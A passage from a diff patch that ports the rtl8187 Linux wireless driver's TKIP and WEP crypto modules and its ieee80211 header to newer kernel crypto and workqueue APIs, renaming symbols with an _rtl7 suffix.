KERNEL_VERSION(2,6,19) crypto_digest_init(tkey->tfm_michael); crypto_digest_setkey(tkey->tfm_michael, key, 8); crypto_digest_update(tkey->tfm_michael, sg, 2); crypto_digest_final(tkey->tfm_michael, mic); return 0; +#else + if (crypto_hash_setkey(tfm_michael, key, 8)) + return -1; + + desc.tfm = tfm_michael; + desc.flags = 0; + return crypto_hash_digest(&desc, sg, data_len + 16, mic); +#endif } -static void michael_mic_hdr(struct sk_buff *skb, u8 *hdr) +static void michael_mic_hdr_rtl7(struct sk_buff *skb, u8 *hdr) { struct ieee80211_hdr *hdr11; @@ -483,7 +615,7 @@ } -static int ieee80211_michael_mic_add(struct sk_buff *skb, int hdr_len, void *priv) +static int ieee80211_michael_mic_add_rtl7(struct sk_buff *skb, int hdr_len, void *priv) { struct ieee80211_tkip_data *tkey = priv; u8 *pos; @@ -495,18 +627,24 @@ return -1; } - michael_mic_hdr(skb, tkey->tx_hdr); + michael_mic_hdr_rtl7(skb, tkey->tx_hdr); pos = skb_put(skb, 8); - if (michael_mic(tkey, &tkey->key[16], tkey->tx_hdr, +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19) + if (michael_mic_rtl7(tkey, &tkey->key[16], tkey->tx_hdr, + skb->data + hdr_len, skb->len - 8 - hdr_len, pos)) + return -1; +#else + if (michael_mic_rtl7(tkey->tx_tfm_michael, &tkey->key[16], tkey->tx_hdr, skb->data + hdr_len, skb->len - 8 - hdr_len, pos)) return -1; +#endif return 0; } #if WIRELESS_EXT >= 18 -static void ieee80211_michael_mic_failure(struct net_device *dev, +static void ieee80211_michael_mic_failure_rtl7(struct net_device *dev, struct ieee80211_hdr *hdr, int keyidx) { @@ -527,7 +665,7 @@ wireless_send_event(dev, IWEVMICHAELMICFAILURE, &wrqu, (char *) &ev); } #elif WIRELESS_EXT >= 15 -static void ieee80211_michael_mic_failure(struct net_device *dev, +static void ieee80211_michael_mic_failure_rtl7(struct net_device *dev, struct ieee80211_hdr *hdr, int keyidx) { @@ -543,7 +681,7 @@ wireless_send_event(dev, IWEVCUSTOM, &wrqu, buf); } #else /* WIRELESS_EXT >= 15 */ -static inline void ieee80211_michael_mic_failure(struct net_device *dev, +static inline void ieee80211_michael_mic_failure_rtl7(struct net_device *dev, struct ieee80211_hdr *hdr, int keyidx) { @@ -551,7 +689,7 @@ #endif /* WIRELESS_EXT >= 15 */ -static int ieee80211_michael_mic_verify(struct sk_buff *skb, int keyidx, +static int ieee80211_michael_mic_verify_rtl7(struct sk_buff *skb, int keyidx, int hdr_len, void *priv) { struct ieee80211_tkip_data *tkey = priv; @@ -560,10 +698,16 @@ if (!tkey->key_set) return -1; - michael_mic_hdr(skb, tkey->rx_hdr); - if (michael_mic(tkey, &tkey->key[24], tkey->rx_hdr, + michael_mic_hdr_rtl7(skb, tkey->rx_hdr); +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19) + if (michael_mic_rtl7(tkey, &tkey->key[24], tkey->rx_hdr, + skb->data + hdr_len, skb->len - 8 - hdr_len, mic)) + return -1; +#else + if (michael_mic_rtl7(tkey->rx_tfm_michael, &tkey->key[24], tkey->rx_hdr, skb->data + hdr_len, skb->len - 8 - hdr_len, mic)) return -1; +#endif if (memcmp(mic, skb->data + skb->len - 8, 8) != 0) { struct ieee80211_hdr *hdr; hdr = (struct ieee80211_hdr *) skb->data; @@ -572,7 +716,7 @@ skb->dev ? skb->dev->name : "N/A", MAC_ARG(hdr->addr2), keyidx); if (skb->dev) - ieee80211_michael_mic_failure(skb->dev, hdr, keyidx); + ieee80211_michael_mic_failure_rtl7(skb->dev, hdr, keyidx); tkey->dot11RSNAStatsTKIPLocalMICFailures++; return -1; } @@ -588,18 +732,33 @@ } -static int ieee80211_tkip_set_key(void *key, int len, u8 *seq, void *priv) +static int ieee80211_tkip_set_key_rtl7(void *key, int len, u8 *seq, void *priv) { struct ieee80211_tkip_data *tkey = priv; int keyidx; +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) struct crypto_tfm *tfm = tkey->tfm_michael; struct crypto_tfm *tfm2 = tkey->tfm_arc4; +#else + struct crypto_hash *tfm = tkey->tx_tfm_michael; + struct crypto_blkcipher *tfm2 = tkey->tx_tfm_arc4; + struct crypto_hash *tfm3 = tkey->rx_tfm_michael; + struct crypto_blkcipher *tfm4 = tkey->rx_tfm_arc4; +#endif keyidx = tkey->key_idx; memset(tkey, 0, sizeof(*tkey)); tkey->key_idx = keyidx; +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) tkey->tfm_michael = tfm; tkey->tfm_arc4 = tfm2; +#else + tkey->tx_tfm_michael = tfm; + tkey->tx_tfm_arc4 = tfm2; + tkey->rx_tfm_michael = tfm3; + tkey->rx_tfm_arc4 = tfm4; +#endif + if (len == TKIP_KEY_LEN) { memcpy(tkey->key, key, TKIP_KEY_LEN); tkey->key_set = 1; @@ -618,7 +777,7 @@ } -static int ieee80211_tkip_get_key(void *key, int len, u8 *seq, void *priv) +static int ieee80211_tkip_get_key_rtl7(void *key, int len, u8 *seq, void *priv) { struct ieee80211_tkip_data *tkey = priv; @@ -648,7 +807,7 @@ } -static char * ieee80211_tkip_print_stats(char *p, void *priv) +static char * ieee80211_tkip_print_stats_rtl7(char *p, void *priv) { struct ieee80211_tkip_data *tkip = priv; p += sprintf(p, "key[%d] alg=TKIP key_set=%d " @@ -675,34 +834,34 @@ } -static struct ieee80211_crypto_ops ieee80211_crypt_tkip = { +static struct ieee80211_crypto_ops ieee80211_crypt_tkip_rtl7 = { .name = "TKIP", - .init = ieee80211_tkip_init, - .deinit = ieee80211_tkip_deinit, - .encrypt_mpdu = ieee80211_tkip_encrypt, - .decrypt_mpdu = ieee80211_tkip_decrypt, - .encrypt_msdu = ieee80211_michael_mic_add, - .decrypt_msdu = ieee80211_michael_mic_verify, - .set_key = ieee80211_tkip_set_key, - .get_key = ieee80211_tkip_get_key, - .print_stats = ieee80211_tkip_print_stats, + .init = ieee80211_tkip_init_rtl7, + .deinit = ieee80211_tkip_deinit_rtl7, + .encrypt_mpdu = ieee80211_tkip_encrypt_rtl7, + .decrypt_mpdu = ieee80211_tkip_decrypt_rtl7, + .encrypt_msdu = ieee80211_michael_mic_add_rtl7, + .decrypt_msdu = ieee80211_michael_mic_verify_rtl7, + .set_key = ieee80211_tkip_set_key_rtl7, + .get_key = ieee80211_tkip_get_key_rtl7, + .print_stats = ieee80211_tkip_print_stats_rtl7, .extra_prefix_len = 4 + 4, /* IV + ExtIV */ .extra_postfix_len = 8 + 4, /* MIC + ICV */ .owner = THIS_MODULE, }; -static int __init ieee80211_crypto_tkip_init(void) +static int __init ieee80211_crypto_tkip_init_rtl7(void) { - return ieee80211_register_crypto_ops(&ieee80211_crypt_tkip); + return ieee80211_register_crypto_ops_rtl7(&ieee80211_crypt_tkip_rtl7); } -static void __exit ieee80211_crypto_tkip_exit(void) +static void __exit ieee80211_crypto_tkip_exit_rtl7(void) { - ieee80211_unregister_crypto_ops(&ieee80211_crypt_tkip); + ieee80211_unregister_crypto_ops_rtl7(&ieee80211_crypt_tkip_rtl7); } -module_init(ieee80211_crypto_tkip_init); -module_exit(ieee80211_crypto_tkip_exit); +module_init(ieee80211_crypto_tkip_init_rtl7); +module_exit(ieee80211_crypto_tkip_exit_rtl7); diff -Naur rtl8187_linux_26.1010.0622.2006/ieee80211/ieee80211_crypt_wep.c rtl8187_linux_26.1010.0622.2006.modified/ieee80211/ieee80211_crypt_wep.c --- rtl8187_linux_26.1010.0622.2006/ieee80211/ieee80211_crypt_wep.c 2006-06-05 19:57:54.000000000 -0700 +++ rtl8187_linux_26.1010.0622.2006.modified/ieee80211/ieee80211_crypt_wep.c 2010-05-19 22:23:15.121856118 -0700 @@ -9,7 +9,6 @@ * more details. */ -#include #include #include #include @@ -18,13 +17,24 @@ #include #include +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) +#include +#else +//#include +#endif + #include "ieee80211.h" #include -#include #include +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,20) + #include +#else + #include +#endif + MODULE_AUTHOR("Jouni Malinen"); MODULE_DESCRIPTION("Host AP crypt: WEP"); MODULE_LICENSE("GPL"); @@ -36,11 +46,16 @@ u8 key[WEP_KEY_LEN + 1]; u8 key_len; u8 key_idx; +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19) struct crypto_tfm *tfm; +#else + struct crypto_blkcipher *rx_tfm; + struct crypto_blkcipher *tx_tfm; +#endif }; -static void * prism2_wep_init(int keyidx) +static void * prism2_wep_init_rtl7(int keyidx) { struct prism2_wep_data *priv; @@ -50,13 +65,30 @@ memset(priv, 0, sizeof(*priv)); priv->key_idx = keyidx; +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19) priv->tfm = crypto_alloc_tfm("arc4", 0); if (priv->tfm == NULL) { printk(KERN_DEBUG "ieee80211_crypt_wep: could not allocate " "crypto API arc4\n"); goto fail; } +#else + priv->tx_tfm = crypto_alloc_blkcipher("ecb(arc4)", 0, CRYPTO_ALG_ASYNC); + if (IS_ERR(priv->tx_tfm)) { + printk(KERN_DEBUG "ieee80211_crypt_wep: could not allocate " + "crypto API arc4\n"); + priv->tx_tfm = NULL; + goto fail; + } + priv->rx_tfm = crypto_alloc_blkcipher("ecb(arc4)", 0, CRYPTO_ALG_ASYNC); + if (IS_ERR(priv->rx_tfm)) { + printk(KERN_DEBUG "ieee80211_crypt_wep: could not allocate " + "crypto API arc4\n"); + priv->rx_tfm = NULL; + goto fail; + } +#endif /* start WEP IV from a random value */ get_random_bytes(&priv->iv, 4); @@ -64,19 +96,35 @@ fail: if (priv) { +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19) if (priv->tfm) crypto_free_tfm(priv->tfm); +#else + if (priv->tx_tfm) + crypto_free_blkcipher(priv->tx_tfm); + if (priv->rx_tfm) + crypto_free_blkcipher(priv->rx_tfm); +#endif kfree(priv); } return NULL; } -static void prism2_wep_deinit(void *priv) +static void prism2_wep_deinit_rtl7(void *priv) { struct prism2_wep_data *_priv = priv; +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19) if (_priv && _priv->tfm) crypto_free_tfm(_priv->tfm); +#else + if (_priv) { + if (_priv->tx_tfm) + crypto_free_blkcipher(_priv->tx_tfm); + if (_priv->rx_tfm) + crypto_free_blkcipher(_priv->rx_tfm); + } +#endif kfree(priv); } @@ -87,13 +135,16 @@ * * WEP frame payload: IV + TX key idx, RC4(data), ICV = RC4(CRC32(data)) */ -static int prism2_wep_encrypt(struct sk_buff *skb, int hdr_len, void *priv) +static int prism2_wep_encrypt_rtl7(struct sk_buff *skb, int hdr_len, void *priv) { struct prism2_wep_data *wep = priv; u32 crc, klen, len; u8 key[WEP_KEY_LEN + 3]; u8 *pos, *icv; struct scatterlist sg; +#if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,19)) + struct blkcipher_desc desc = { .tfm = wep->tx_tfm }; +#endif if (skb_headroom(skb) < 4 || skb_tailroom(skb) < 4 || skb->len < hdr_len) @@ -134,13 +185,25 @@ icv[2] = crc >> 16; icv[3] = crc >> 24; +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) crypto_cipher_setkey(wep->tfm, key, klen); +#else + crypto_blkcipher_setkey(wep->tx_tfm, key, klen); +#endif +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,24)) sg.page = virt_to_page(pos); sg.offset = offset_in_page(pos); sg.length = len + 4; - crypto_cipher_encrypt(wep->tfm, &sg, &sg, len + 4); +#else + sg_set_page(&sg, virt_to_page(pos), len + 4, offset_in_page(pos)); +#endif +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) + crypto_cipher_encrypt(wep->tfm, &sg, &sg, len + 4); return 0; +#else + return crypto_blkcipher_encrypt(&desc, &sg, &sg, len + 4); +#endif } @@ -151,13 +214,16 @@ * Returns 0 if frame was decrypted successfully and ICV was correct and -1 on * failure. If frame is OK, IV and ICV will be removed. */ -static int prism2_wep_decrypt(struct sk_buff *skb, int hdr_len, void *priv) +static int prism2_wep_decrypt_rtl7(struct sk_buff *skb, int hdr_len, void *priv) { struct prism2_wep_data *wep = priv; u32 crc, klen, plen; u8 key[WEP_KEY_LEN + 3]; u8 keyidx, *pos, icv[4]; struct scatterlist sg; +#if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,19)) + struct blkcipher_desc desc = { .tfm = wep->rx_tfm }; +#endif if (skb->len < hdr_len + 8) return -1; @@ -178,11 +244,26 @@ /* Apply RC4 to data and compute CRC32 over decrypted data */ plen = skb->len - hdr_len - 8; +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) crypto_cipher_setkey(wep->tfm, key, klen); +#else + crypto_blkcipher_setkey(wep->rx_tfm, key, klen); +#endif + +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,24)) sg.page = virt_to_page(pos); sg.offset = offset_in_page(pos); sg.length = plen + 4; +#else + sg_set_page(&sg, virt_to_page(pos), plen + 4, offset_in_page(pos)); +#endif + +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) crypto_cipher_decrypt(wep->tfm, &sg, &sg, plen + 4); +#else + if(crypto_blkcipher_decrypt(&desc, &sg, &sg, plen + 4)) + return -7; +#endif crc = ~crc32_le(~0, pos, plen); icv[0] = crc; @@ -203,7 +284,7 @@ } -static int prism2_wep_set_key(void *key, int len, u8 *seq, void *priv) +static int prism2_wep_set_key_rtl7(void *key, int len, u8 *seq, void *priv) { struct prism2_wep_data *wep = priv; @@ -217,7 +298,7 @@ } -static int prism2_wep_get_key(void *key, int len, u8 *seq, void *priv) +static int prism2_wep_get_key_rtl7(void *key, int len, u8 *seq, void *priv) { struct prism2_wep_data *wep = priv; @@ -230,7 +311,7 @@ } -static char * prism2_wep_print_stats(char *p, void *priv) +static char * prism2_wep_print_stats_rtl7(char *p, void *priv) { struct prism2_wep_data *wep = priv; p += sprintf(p, "key[%d] alg=WEP len=%d\n", @@ -239,34 +320,34 @@ } -static struct ieee80211_crypto_ops ieee80211_crypt_wep = { +static struct ieee80211_crypto_ops ieee80211_crypt_wep_rtl7 = { .name = "WEP", - .init = prism2_wep_init, - .deinit = prism2_wep_deinit, - .encrypt_mpdu = prism2_wep_encrypt, - .decrypt_mpdu = prism2_wep_decrypt, + .init = prism2_wep_init_rtl7, + .deinit = prism2_wep_deinit_rtl7, + .encrypt_mpdu = prism2_wep_encrypt_rtl7, + .decrypt_mpdu = prism2_wep_decrypt_rtl7, .encrypt_msdu = NULL, .decrypt_msdu = NULL, - .set_key = prism2_wep_set_key, - .get_key = prism2_wep_get_key, - .print_stats = prism2_wep_print_stats, + .set_key = prism2_wep_set_key_rtl7, + .get_key = prism2_wep_get_key_rtl7, + .print_stats = prism2_wep_print_stats_rtl7, .extra_prefix_len = 4, /* IV */ .extra_postfix_len = 4, /* ICV */ .owner = THIS_MODULE, }; -static int __init ieee80211_crypto_wep_init(void) +static int __init ieee80211_crypto_wep_init_rtl7(void) { - return ieee80211_register_crypto_ops(&ieee80211_crypt_wep); + return ieee80211_register_crypto_ops_rtl7(&ieee80211_crypt_wep_rtl7); } -static void __exit ieee80211_crypto_wep_exit(void) +static void __exit ieee80211_crypto_wep_exit_rtl7(void) { - ieee80211_unregister_crypto_ops(&ieee80211_crypt_wep); + ieee80211_unregister_crypto_ops_rtl7(&ieee80211_crypt_wep_rtl7); } -module_init(ieee80211_crypto_wep_init); -module_exit(ieee80211_crypto_wep_exit); +module_init(ieee80211_crypto_wep_init_rtl7); +module_exit(ieee80211_crypto_wep_exit_rtl7); diff -Naur rtl8187_linux_26.1010.0622.2006/ieee80211/ieee80211.h rtl8187_linux_26.1010.0622.2006.modified/ieee80211/ieee80211.h --- rtl8187_linux_26.1010.0622.2006/ieee80211/ieee80211.h 2006-06-05 19:57:56.000000000 -0700 +++ rtl8187_linux_26.1010.0622.2006.modified/ieee80211/ieee80211.h 2010-05-19 22:18:51.949360395 -0700 @@ -120,7 +120,7 @@ static inline unsigned long msleep_interruptible_rtl(unsigned int msecs) { unsigned long timeout = MSECS(msecs) + 1; - + while (timeout) { set_current_state(TASK_UNINTERRUPTIBLE); timeout = schedule_timeout(timeout); @@ -156,6 +156,22 @@ struct list_head list; }; +#define LWNG_CAP_DID_BASE (4 | (1 << 6)) /* section 4, group 1 */ +/* ARPHRD_IEEE80211_PRISM uses a bloated version of Prism2 RX frame header + * (from linux-wlan-ng) */ +struct linux_wlan_ng_val { + u32 did; + u16 status, len; + u32 data; +} __attribute__ ((packed)); + +struct linux_wlan_ng_prism_hdr { + u32 msgcode, msglen; + char devname[16]; + struct linux_wlan_ng_val hosttime, mactime, channel, rssi, sq, signal, + noise, rate, istx, frmlen; +} __attribute__ ((packed)); + struct ieee80211_hdr { u16 frame_ctl; u16 duration_id; @@ -798,7 +814,7 @@ /* the card is not linked at all */ IEEE80211_NOLINK = 0, - + /* IEEE80211_ASSOCIATING* are for BSS client mode * the driver shall not perform RX filtering unless * the state is LINKED. @@ -806,31 +822,31 @@ * defaults to NOLINK for ALL the other states (including * LINKED_SCANNING) */ - + /* the association procedure will start (wq scheduling)*/ IEEE80211_ASSOCIATING, IEEE80211_ASSOCIATING_RETRY, - + /* the association procedure is sending AUTH request*/ IEEE80211_ASSOCIATING_AUTHENTICATING, - + /* the association procedure has successfully authentcated * and is sending association request */ IEEE80211_ASSOCIATING_AUTHENTICATED, - + /* the link is ok. the card associated to a BSS or linked * to a ibss cell or acting as an AP and creating the bss */ IEEE80211_LINKED, - + /* same as LINKED, but the driver shall apply RX filter * rules as we are in NO_LINK mode. As the card is still * logically linked, but it is doing a syncro site survey * then it will be back to LINKED state. */ IEEE80211_LINKED_SCANNING, - + }; #define DEFAULT_MAX_SCAN_AGE (15 * HZ) @@ -840,14 +856,14 @@ #if (LINUX_VERSION_CODE <= KERNEL_VERSION(2,6,11)) -extern inline int is_multicast_ether_addr(const u8 *addr) +extern inline int is_multicast_ether_addr_rtl7(const u8 *addr) { return ((addr[0] != 0xff) && (0x01 & addr[0])); } #endif #if (LINUX_VERSION_CODE <= KERNEL_VERSION(2,6,13)) -extern inline int is_broadcast_ether_addr(const u8 *addr) +extern inline int is_broadcast_ether_addr_rtl7(const u8 *addr) { return ((addr[0] == 0xff) && (addr[1] == 0xff) && (addr[2] == 0xff) && \ (addr[3] == 0xff) && (addr[4] == 0xff) && (addr[5] == 0xff)); @@ -870,7 +886,7 @@ struct net_device_stats stats; struct ieee80211_stats ieee_stats; struct ieee80211_softmac_stats softmac_stats; - + /* Probe / Beacon management */ struct list_head network_free_list; struct list_head network_list; @@ -881,7 +897,7 @@ int iw_mode; /* operating mode (IW_MODE_*) */ spinlock_t lock; - + int tx_headroom; /* Set to size of any additional room needed at front * of allocated Tx SKBs */ u32 config; @@ -924,11 +940,11 @@ * ad-hoc is a mixture ;-). * Note that in infrastructure mode, even when not associated, * fields bssid and essid may be valid (if wpa_set and essid_set - * are true) as thy carry the value set by the user via iwconfig + * are true) as thy carry the value set by the user via iwconfig */ struct ieee80211_network current_network; - + enum ieee80211_state state; int short_slot; @@ -936,33 +952,33 @@ int modulation; /* CCK, OFDM */ int freq_band; /* 2.4Ghz, 5.2Ghz, Mixed */ int abg_true; /* ABG flag */ - - /* used for forcing the ibss workqueue to terminate + + /* used for forcing the ibss workqueue to terminate * without wait for the syncro scan to terminate */ - short sync_scan_hurryup; - + short sync_scan_hurryup; + /* map of allowed channels. 0 is dummy */ // FIXME: remeber to default to a basic channel plan depending of the PHY type int channel_map[MAX_CHANNEL_NUMBER+1]; - + int rate; /* current rate */ int basic_rate; //FIXME: pleace callback, see if redundant with softmac_features short active_scan; - + /* this contains flags for selectively enable softmac support */ u16 softmac_features; - + /* if the sequence control field is not filled by HW */ u16 seq_ctrl; - + /* association procedure transaction sequence number */ u16 associate_seq; - + /* AID for RTXed association responses */ u16 assoc_id; - + /* power save mode related*/ short ps; short sta_sleep; @@ -970,147 +986,153 @@ struct tasklet_struct ps_task; u32 ps_th; u32 ps_tl; - + short raw_tx; /* used if IEEE_SOFTMAC_TX_QUEUE is set */ short queue_stop; short scanning; short proto_started; - + struct semaphore wx_sem; struct semaphore scan_sem; - - spinlock_t mgmt_tx_lock; + + spinlock_t mgmt_tx_lock; spinlock_t beacon_lock; short beacon_txing; short wap_set; short ssid_set; - + /* for discarding duplicated packets in IBSS */ struct list_head ibss_mac_hash[IEEE_IBSS_MAC_HASH_SIZE]; - + /* for discarding duplicated packets in BSS */ u16 last_seq_num; u16 last_frag_num; unsigned long last_packet_time; - + /* for PS mode */ unsigned long last_rx_ps_time; - + /* used if IEEE_SOFTMAC_SINGLE_QUEUE is set */ struct sk_buff *mgmt_queue_ring[MGMT_QUEUE_NUM]; int mgmt_queue_head; int mgmt_queue_tail; - - + + /* used if IEEE_SOFTMAC_TX_QUEUE is set */ struct tx_pending_t tx_pending; - + /* used if IEEE_SOFTMAC_ASSOCIATE is set */ struct timer_list associate_timer; /* used if IEEE_SOFTMAC_BEACONS is set */ struct timer_list beacon_timer; - + struct work_struct associate_complete_wq; + +# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20)) + struct delayed_work associate_retry_wq; + struct delayed_work softmac_scan_wq; +#else struct work_struct associate_retry_wq; + struct work_struct softmac_scan_wq; +#endif struct work_struct start_ibss_wq; struct work_struct associate_procedure_wq; - struct work_struct softmac_scan_wq; struct work_struct wx_sync_scan_wq; - + struct workqueue_struct *wq; /* Callback functions */ void (*set_security)(struct net_device *dev, struct ieee80211_security *sec); - + /* Used to TX data frame by using txb structs. * this is not used if in the softmac_features * is set the flag IEEE_SOFTMAC_TX_QUEUE */ int (*hard_start_xmit)(struct ieee80211_txb *txb, struct net_device *dev); - + int (*reset_port)(struct net_device *dev); - /* Softmac-generated frames (mamagement) are TXed via this - * callback if the flag IEEE_SOFTMAC_SINGLE_QUEUE is - * not set. As some cards may have different HW queues that + /* Softmac-generated frames (mamagement) are TXed via this + * callback if the flag IEEE_SOFTMAC_SINGLE_QUEUE is + * not set. As some cards may have different HW queues that * one might want to use for data and management frames * the option to have two callbacks might be useful. * This fucntion can't sleep. */ int (*softmac_hard_start_xmit)(struct sk_buff *skb, struct net_device *dev); - + /* used instead of hard_start_xmit (not softmac_hard_start_xmit) * if the IEEE_SOFTMAC_TX_QUEUE feature is used to TX data * frames. I the option IEEE_SOFTMAC_SINGLE_QUEUE is also set * then also management frames are sent via this callback. * This function can't sleep. - */ + */ void (*softmac_data_hard_start_xmit)(struct sk_buff *skb, struct net_device *dev,int rate); /* stops the HW queue for DATA frames. Useful to avoid * waste time to TX data frame when we are reassociating * This function can sleep. - */ + */ void (*data_hard_stop)(struct net_device *dev); - + /* OK this is complementar to data_poll_hard_stop */ void (*data_hard_resume)(struct net_device *dev); - + /* ask to the driver to retune the radio . * This function can sleep. the driver should ensure * the radio has been swithced before return. */ void (*set_chan)(struct net_device *dev,short ch); - + /* These are not used if the ieee stack takes care of - * scanning (IEEE_SOFTMAC_SCAN feature set). + * scanning (IEEE_SOFTMAC_SCAN feature set). * In this case only the set_chan is used. * * The syncro version is similar to the start_scan but * does not return until all channels has been scanned. - * this is called in user context and should sleep, + * this is called in user context and should sleep, * it is called in a work_queue when swithcing to ad-hoc mode - * or in behalf of iwlist scan when the card is associated - * and root user ask for a scan. + * or in behalf of iwlist scan when the card is associated + * and root user ask for a scan. * the fucntion stop_scan should stop both the syncro and * background scanning and can sleep. - * The fucntion start_scan should initiate the background + * The fucntion start_scan should initiate the background * scanning and can't sleep. - */ + */ void (*scan_syncro)(struct net_device *dev); void (*start_scan)(struct net_device *dev); void (*stop_scan)(struct net_device *dev); - + /* indicate the driver that the link state is changed * for example it may indicate the card is associated now. - * Driver might be interested in this to apply RX filter - * rules or simply light the LINK led + * Driver might be interested in this to apply RX filter + * rules or simply light the LINK led */ void (*link_change)(struct net_device *dev); - + /* these two function indicates to the HW when to start - * and stop to send beacons. This is used when the + * and stop to send beacons. This is used when the * IEEE_SOFTMAC_BEACONS is not set. For now the * stop_send_bacons is NOT guaranteed to be called only * after start_send_beacons. */ void (*start_send_beacons) (struct net_device *dev); void (*stop_send_beacons) (struct net_device *dev); - + /* power save mode related */ void (*sta_wake_up) (struct net_device *dev); void (*ps_request_tx_ack) (struct net_device *dev); void (*enter_sleep_state) (struct net_device *dev, u32 th, u32 tl); short (*ps_is_queue_empty) (struct net_device *dev); - - + + /* This must be the last item so that it points to the data * allocated beyond this structure by alloc_ieee80211 */ u8 priv[0]; @@ -1148,18 +1170,21 @@ #define IEEE_SOFTMAC_SINGLE_QUEUE (1<<8) /* Generate beacons. The stack will enqueue beacons - * to the card - */ + * to the card + */ #define IEEE_SOFTMAC_BEACONS (1<<6) - -extern inline void *ieee80211_priv(struct net_device *dev) +#if WIRELESS_EXT >= 22 +static inline void *ieee80211_priv_rtl7(struct net_device *dev) +#else +extern inline void *ieee80211_priv_rtl7(struct net_device *dev) +#endif { return ((struct ieee80211_device *)netdev_priv(dev))->priv; } -extern inline int ieee80211_is_empty_essid(const char *essid, int essid_len) +extern inline int ieee80211_is_empty_essid_rtl7(const char *essid, int essid_len) { /* Single white space is for Linksys APs */ if (essid_len == 1 && essid[0] == ' ') @@ -1175,7 +1200,7 @@ return 1; } -extern inline int ieee80211_is_valid_mode(struct ieee80211_device *ieee, int mode) +extern inline int ieee80211_is_valid_mode_rtl7(struct ieee80211_device *ieee, int mode) { /* * It is possible for both access points and our device to support @@ -1201,7 +1226,7 @@ return 0; } -extern inline int ieee80211_get_hdrlen(u16 fc) +extern inline int ieee80211_get_hdrlen_rtl7(u16 fc) { int hdrlen = 24; @@ -1229,140 +1254,144 @@ /* ieee80211.c */ -extern void free_ieee80211(struct net_device *dev); -extern struct net_device *alloc_ieee80211(int sizeof_priv); +extern void free_ieee80211_rtl7(struct net_device *dev); +extern struct net_device *alloc_ieee80211_rtl7(int sizeof_priv); -extern int ieee80211_set_encryption(struct ieee80211_device *ieee); +extern int ieee80211_set_encryption_rtl7(struct ieee80211_device *ieee); /* ieee80211_tx.c */ -extern int ieee80211_encrypt_fragment( +extern int ieee80211_encrypt_fragment_rtl7( struct ieee80211_device *ieee, struct sk_buff *frag, int hdr_len); - -extern int ieee80211_xmit(struct sk_buff *skb, + +extern int ieee80211_xmit_rtl7(struct sk_buff *skb, struct net_device *dev); -extern void ieee80211_txb_free(struct ieee80211_txb *); +extern void ieee80211_txb_free_rtl7(struct ieee80211_txb *); /* ieee80211_rx.c */ -extern int ieee80211_rx(struct ieee80211_device *ieee, struct sk_buff *skb, +extern int ieee80211_rx_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb, struct ieee80211_rx_stats *rx_stats); -extern void ieee80211_rx_mgt(struct ieee80211_device *ieee, +extern void ieee80211_rx_mgt_rtl7(struct ieee80211_device *ieee, struct ieee80211_hdr *header, struct ieee80211_rx_stats *stats); /* ieee80211_wx.c */ -extern int ieee80211_wx_get_scan(struct ieee80211_device *ieee, +extern int ieee80211_wx_get_scan_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *key); -extern int ieee80211_wx_set_encode(struct ieee80211_device *ieee, +extern int ieee80211_wx_set_encode_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *key); -extern int ieee80211_wx_get_encode(struct ieee80211_device *ieee, +extern int ieee80211_wx_get_encode_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *key); /* ieee80211_softmac.c */ -extern short ieee80211_is_54g(struct ieee80211_network net); -extern short ieee80211_is_shortslot(struct ieee80211_network net); -extern int ieee80211_rx_frame_softmac(struct ieee80211_device *ieee, struct sk_buff *skb, +extern short ieee80211_is_54g_rtl7(struct ieee80211_network net); +extern short ieee80211_is_shortslot_rtl7(struct ieee80211_network net); +extern int ieee80211_rx_frame_softmac_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb, struct ieee80211_rx_stats *rx_stats, u16 type, u16 stype); -extern void ieee80211_softmac_new_net(struct ieee80211_device *ieee, struct ieee80211_network *net); +extern void ieee80211_softmac_new_net_rtl7(struct ieee80211_device *ieee, struct ieee80211_network *net); -extern void ieee80211_softmac_xmit(struct ieee80211_txb *txb, struct ieee80211_device *ieee); -extern void ieee80211_softmac_check_all_nets(struct ieee80211_device *ieee); -extern void ieee80211_start_bss(struct ieee80211_device *ieee); -extern void ieee80211_start_master_bss(struct ieee80211_device *ieee); -extern void ieee80211_start_ibss(struct ieee80211_device *ieee); -extern void ieee80211_softmac_init(struct ieee80211_device *ieee); -extern void ieee80211_softmac_free(struct ieee80211_device *ieee); -extern void ieee80211_associate_abort(struct ieee80211_device *ieee); -extern void ieee80211_disassociate(struct ieee80211_device *ieee); -extern void ieee80211_stop_scan(struct ieee80211_device *ieee); -extern void ieee80211_start_scan_syncro(struct ieee80211_device *ieee); -extern void ieee80211_check_all_nets(struct ieee80211_device *ieee); -extern void ieee80211_start_protocol(struct ieee80211_device *ieee); -extern void ieee80211_stop_protocol(struct ieee80211_device *ieee); -extern void ieee80211_softmac_start_protocol(struct ieee80211_device *ieee); -extern void ieee80211_softmac_stop_protocol(struct ieee80211_device *ieee); -extern void ieee80211_reset_queue(struct ieee80211_device *ieee); -extern void ieee80211_wake_queue(struct ieee80211_device *ieee); -extern void ieee80211_stop_queue(struct ieee80211_device *ieee); -extern struct sk_buff *ieee80211_get_beacon(struct ieee80211_device *ieee); -extern void ieee80211_start_send_beacons(struct ieee80211_device *ieee); -extern void ieee80211_stop_send_beacons(struct ieee80211_device *ieee); -extern int ieee80211_wpa_supplicant_ioctl(struct 